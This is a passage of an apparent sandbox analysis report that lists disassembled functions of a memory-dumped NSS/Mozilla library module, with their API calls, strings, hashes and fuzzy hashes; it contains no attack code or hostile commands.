free.MOZGLUE(?,?,6C63AADB,?,?,?,?,?,?,?,?,00000000,?,6C6380C1), ref: 6C635FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C63AADB,?,?,?,?,?,?,?,?,00000000,?,6C6380C1), ref: 6C635FF4
free.MOZGLUE(?,?,6C63AADB,?,?,?,?,?,?,?,?,00000000,?,6C6380C1), ref: 6C635FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C63AADB,?,?,?,?,?,?,?,?,00000000,?,6C6380C1), ref: 6C636019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C63AADB,?,?,?,?,?,?,?,?,00000000,?,6C6380C1), ref: 6C636036

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 0da901879d0c1782432b7bcba4afe73c0b336fc0f6ceab3180c8b4f3f65f65dd
Instruction ID: b882012fed6bf591d1d21534a01dfda5fdc2df58eed261c8b8ebcccd0fb04371
Opcode Fuzzy Hash: 0da901879d0c1782432b7bcba4afe73c0b336fc0f6ceab3180c8b4f3f65f65dd
Instruction Fuzzy Hash: F62138F1604B40ABEB209F75AC48BD376A8BB41708F14182CE46E87640EB76F419CBD5

Function 6C5A3C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6C61460B,?,?), ref: 6C5A3CA9
EnterCriticalSection.KERNEL32(?), ref: 6C5A3CB9
PL_HashTableLookup.NSS3(?), ref: 6C5A3CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6C5A3CD6
PR_Unlock.NSS3 ref: 6C5A3CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6C5A3CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5A3D03
PR_Unlock.NSS3 ref: 6C5A3D15

Part of subcall function 6C64DD70: TlsGetValue.KERNEL32 ref: 6C64DD8C
Part of subcall function 6C64DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C64DDB4

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 1727b34826c23fc70677f7f76ed06021fd3598228e90ef9766dab0ce46b113d5
Instruction ID: 5d0b7633bcd0b89c741b36b4711cfe8a059c1c7158f220971d98f1e1572575c1
Opcode Fuzzy Hash: 1727b34826c23fc70677f7f76ed06021fd3598228e90ef9766dab0ce46b113d5
Instruction Fuzzy Hash: 92110ABAF00204F7DB012765EC458AA3B79EB4225CF148135ED1883B11FB21DC59C7D1

Function 6C5A9C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5C11C0: PR_NewLock.NSS3 ref: 6C5C1216

free.MOZGLUE(?), ref: 6C5A9E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5A9E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5A9E4E
TlsGetValue.KERNEL32 ref: 6C5A9EA2

Part of subcall function 6C5B9500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6C5B9546

EnterCriticalSection.KERNEL32(?), ref: 6C5A9EB6
PR_Unlock.NSS3 ref: 6C5A9ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C5A9F18

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 3f5ab2d852af29eb4caab83331b2f6182de3c41c506be4973dd320847d458f6f
Instruction ID: 43d6ce058538c60460a33195d5b052f482ab6bd050b5c451737a0c5b66fd6169
Opcode Fuzzy Hash: 3f5ab2d852af29eb4caab83331b2f6182de3c41c506be4973dd320847d458f6f
Instruction Fuzzy Hash: AF813AB5A00611ABE700DF75DC40AAFBBA9BF95248F04452CEC4587B42FB32EC55C7A1

Function 6C5BDCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5BAB10: DeleteCriticalSection.KERNEL32(D958E852,6C5C1397,5B5F5EC0,?,?,6C5BB1EE,2404110F,?,?), ref: 6C5BAB3C
Part of subcall function 6C5BAB10: free.MOZGLUE(D958E836,?,6C5BB1EE,2404110F,?,?), ref: 6C5BAB49
Part of subcall function 6C5BAB10: DeleteCriticalSection.KERNEL32(5D5E6C7B), ref: 6C5BAB5C
Part of subcall function 6C5BAB10: free.MOZGLUE(5D5E6C6F), ref: 6C5BAB63
Part of subcall function 6C5BAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C5BAB6F
Part of subcall function 6C5BAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C5BAB76

TlsGetValue.KERNEL32 ref: 6C5BDCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6C5BDD0E
PK11_IsFriendly.NSS3(?), ref: 6C5BDD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6C5BDD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5BDE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5BDEA6
PR_Unlock.NSS3(?), ref: 6C5BDF08

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: fe585931a602beed7e519201205b0ffacb62a31567de022b181ccf12dbf9a4dc
Instruction ID: 102a6f6d8c93239d7a747dbdea014a10f95021b91bfdfb091fc5fe79f9d19e99
Opcode Fuzzy Hash: fe585931a602beed7e519201205b0ffacb62a31567de022b181ccf12dbf9a4dc
Instruction Fuzzy Hash: 8E91B3B5A001059FDB00CF68CCA1BAABFB5FF54308F148429ED19AB745E731E955CB92

Function 6C575FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6C65BB62,00000004,6C6C4CA4,?,?,00000000,?,?,6C5331DB), ref: 6C5760AB
sqlite3_config.NSS3(00000004,6C6C4CA4,6C65BB62,00000004,6C6C4CA4,?,?,00000000,?,?,6C5331DB), ref: 6C5760EB
sqlite3_config.NSS3(00000012,6C6C4CC4,?,?,6C65BB62,00000004,6C6C4CA4,?,?,00000000,?,?,6C5331DB), ref: 6C576122

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C576095
%s at line %d of [%.10s], xrefs: 6C5760A4
misuse, xrefs: 6C57609F

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: d6ed134730494dce77896e9d51a0da1d7cc31a3243f5b22365d5e01c1bad7f12
Instruction ID: 058a86e89faa3bf4cb8f3cb7bce89f73d5bda64c8af84771cc3b225136858391
Opcode Fuzzy Hash: d6ed134730494dce77896e9d51a0da1d7cc31a3243f5b22365d5e01c1bad7f12
Instruction Fuzzy Hash: 0AB17274E04746CFCB04CF59D6849A9BBF1FB1E304F018559D519AB322DB30AA94CFAA

Function 6C524F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C524FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5251BB

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5251A5
%s at line %d of [%.10s], xrefs: 6C5251B4
unable to delete/modify user-function due to active statements, xrefs: 6C5251DF
misuse, xrefs: 6C5251AF

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: c6525193d5744f3cfb57578c6f12aa99a68122ca96a4afc66f8c304e6b9a6fd1
Instruction ID: 7b5480a7db7041373d8d13ad70c372d14369b1084143cc18258abd80168b1d5f
Opcode Fuzzy Hash: c6525193d5744f3cfb57578c6f12aa99a68122ca96a4afc66f8c304e6b9a6fd1
Instruction Fuzzy Hash: 6E718CB1A0420A9BEB00CE55CCC0B9AB7F5BF88308F554524FD199BB89D739ED51CBA1

Function 6C60FF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6C60F165,?), ref: 6C60FF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6C60F165,?), ref: 6C60FF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C60F165,?), ref: 6C60FF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C60F165,?), ref: 6C60FF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6C60F165,?), ref: 6C60FFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6C60F165,6C6D219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C60FFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6C60F165,?), ref: 6C6100A6

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: ca2fa04a09369f2fdf9a6f7a8b88c95b191e13e16cf5dd8ddf39218f57c6a749
Instruction ID: e2e5704d58415acf9820125bcbf711dbdc5e9340b5dda53d8d21d52db4d63a30
Opcode Fuzzy Hash: ca2fa04a09369f2fdf9a6f7a8b88c95b191e13e16cf5dd8ddf39218f57c6a749
Instruction Fuzzy Hash: AD510475E082559FDF148E5CC8807AEB7B5BB4931AF254229DC59B7B40D332AC20CBD9

Function 6C5CDEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C5CDF37
EnterCriticalSection.KERNEL32(?), ref: 6C5CDF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5CDF96
PR_SetError.NSS3(00000000,00000000), ref: 6C5CE02B
PR_Unlock.NSS3(?), ref: 6C5CE07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C5CE090
PR_Unlock.NSS3(?), ref: 6C5CE0AF

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: 4537f4c9af753d228240db55f0660875d1fbc15ae8b854d8473680e1729c9fb7
Instruction ID: 50f21a86a0f4f8d07c48ed38409ac9efd4356ac0d11ecd5739c5a4ad02d75e6b
Opcode Fuzzy Hash: 4537f4c9af753d228240db55f0660875d1fbc15ae8b854d8473680e1729c9fb7
Instruction Fuzzy Hash: 7051CC70B00600DBEB20DEA8DC86B5673B5FB45308F20492CE85A97B91D7B1E848CBD3

Function 6C5CBCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C5CBD1E

Part of subcall function 6C5A2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C5A2F0A
Part of subcall function 6C5A2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C5A2F1D

Part of subcall function 6C5E57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C5AB41E,00000000,00000000,?,00000000,?,6C5AB41E,00000000,00000000,00000001,?), ref: 6C5E57E0
Part of subcall function 6C5E57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C5E5843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C5CBD8C

Part of subcall function 6C5FFAB0: free.MOZGLUE(?,-00000001,?,?,6C59F673,00000000,00000000), ref: 6C5FFAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6C5CBD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6C5CBDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5CBE3A

Part of subcall function 6C5A3E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5A3EC2
Part of subcall function 6C5A3E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C5A3ED6
Part of subcall function 6C5A3E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C5A3EEE
Part of subcall function 6C5A3E60: PR_CallOnce.NSS3(6C702AA4,6C6012D0), ref: 6C5A3F02
Part of subcall function 6C5A3E60: PL_FreeArenaPool.NSS3 ref: 6C5A3F14
Part of subcall function 6C5A3E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C5A3F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5CBE52

Part of subcall function 6C5A2E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C5A2CDA,?,00000000), ref: 6C5A2E1E
Part of subcall function 6C5A2E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C5A2E33
Part of subcall function 6C5A2E00: TlsGetValue.KERNEL32 ref: 6C5A2E4E
Part of subcall function 6C5A2E00: EnterCriticalSection.KERNEL32(?), ref: 6C5A2E5E
Part of subcall function 6C5A2E00: PL_HashTableLookup.NSS3(?), ref: 6C5A2E71
Part of subcall function 6C5A2E00: PL_HashTableRemove.NSS3(?), ref: 6C5A2E84
Part of subcall function 6C5A2E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C5A2E96
Part of subcall function 6C5A2E00: PR_Unlock.NSS3 ref: 6C5A2EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5CBE61

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: ed18298941303ad518d65d8009dcca20a3575ac4581502c65dbd1658a2171d21
Instruction ID: db5e23c06650a48190cb5466075eda465423e6aea6f6242f6b612a2e5736e683
Opcode Fuzzy Hash: ed18298941303ad518d65d8009dcca20a3575ac4581502c65dbd1658a2171d21
Instruction Fuzzy Hash: E641C1B6A00210ABC710DFA9DC80B6A77E4EB89718F10456CF95997B11E731ED15CB93

Function 6C5EAC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C5EAB3E,?,?,?), ref: 6C5EAC35

Part of subcall function 6C5CCEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C5CCF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C5EAB3E,?,?,?), ref: 6C5EAC55

Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C6010F3
Part of subcall function 6C6010C0: EnterCriticalSection.KERNEL32(?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60110C
Part of subcall function 6C6010C0: PL_ArenaAllocate.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601141
Part of subcall function 6C6010C0: PR_Unlock.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601182
Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C5EAB3E,?,?), ref: 6C5EAC70

Part of subcall function 6C5CE300: TlsGetValue.KERNEL32 ref: 6C5CE33C
Part of subcall function 6C5CE300: EnterCriticalSection.KERNEL32(?), ref: 6C5CE350
Part of subcall function 6C5CE300: PR_Unlock.NSS3(?), ref: 6C5CE5BC
Part of subcall function 6C5CE300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C5CE5CA
Part of subcall function 6C5CE300: TlsGetValue.KERNEL32 ref: 6C5CE5F2
Part of subcall function 6C5CE300: EnterCriticalSection.KERNEL32(?), ref: 6C5CE606
Part of subcall function 6C5CE300: PORT_Alloc_Util.NSS3(?), ref: 6C5CE613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C5EAC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5EAB3E), ref: 6C5EACD7
PORT_Alloc_Util.NSS3(?), ref: 6C5EAD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C5EAD2B

Part of subcall function 6C5CF360: TlsGetValue.KERNEL32(00000000,?,6C5EA904,?), ref: 6C5CF38B
Part of subcall function 6C5CF360: EnterCriticalSection.KERNEL32(?,?,?,6C5EA904,?), ref: 6C5CF3A0
Part of subcall function 6C5CF360: PR_Unlock.NSS3(?,?,?,?,6C5EA904,?), ref: 6C5CF3D3

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: fd0bc66782fc23a5afe493462d9e0a6e6d8babe2b0ce671d09294ff5beb4d75a
Instruction ID: f27059d9018eb7686b3837f6364f4b0dffb668f2cef565506b67a8bfd18afd9f
Opcode Fuzzy Hash: fd0bc66782fc23a5afe493462d9e0a6e6d8babe2b0ce671d09294ff5beb4d75a
Instruction Fuzzy Hash: ED3128B1E002059FEB00CF698C419AF7BB6AFD9718B198528F81957740EB31AC15C7A1

Function 6C5C8C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C5C8C7C

Part of subcall function 6C669DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C6B0A27), ref: 6C669DC6
Part of subcall function 6C669DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C6B0A27), ref: 6C669DD1
Part of subcall function 6C669DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C669DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5C8CB0
TlsGetValue.KERNEL32 ref: 6C5C8CD1
EnterCriticalSection.KERNEL32(?), ref: 6C5C8CE5
PR_Unlock.NSS3(?), ref: 6C5C8D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C5C8D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5C8D93

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: e143afea6d1e2b2de0e7aa37f56d767dd3dea5b4c7c1366a7a46b738ee7feac7
Instruction ID: bd2a74a4b45aa3b0fcb5122233f2ec1af199fe6c85866cfc00cb3f00b1152ae5
Opcode Fuzzy Hash: e143afea6d1e2b2de0e7aa37f56d767dd3dea5b4c7c1366a7a46b738ee7feac7
Instruction Fuzzy Hash: 4D312671B01601AFE7009FA8DC4479AB7B4BF55318F14053EEA1A67B50DB70A968C7C7

Function 6C609D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C609C5B), ref: 6C609D82

Part of subcall function 6C6014C0: TlsGetValue.KERNEL32 ref: 6C6014E0
Part of subcall function 6C6014C0: EnterCriticalSection.KERNEL32 ref: 6C6014F5
Part of subcall function 6C6014C0: PR_Unlock.NSS3 ref: 6C60150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C609C5B), ref: 6C609DA9

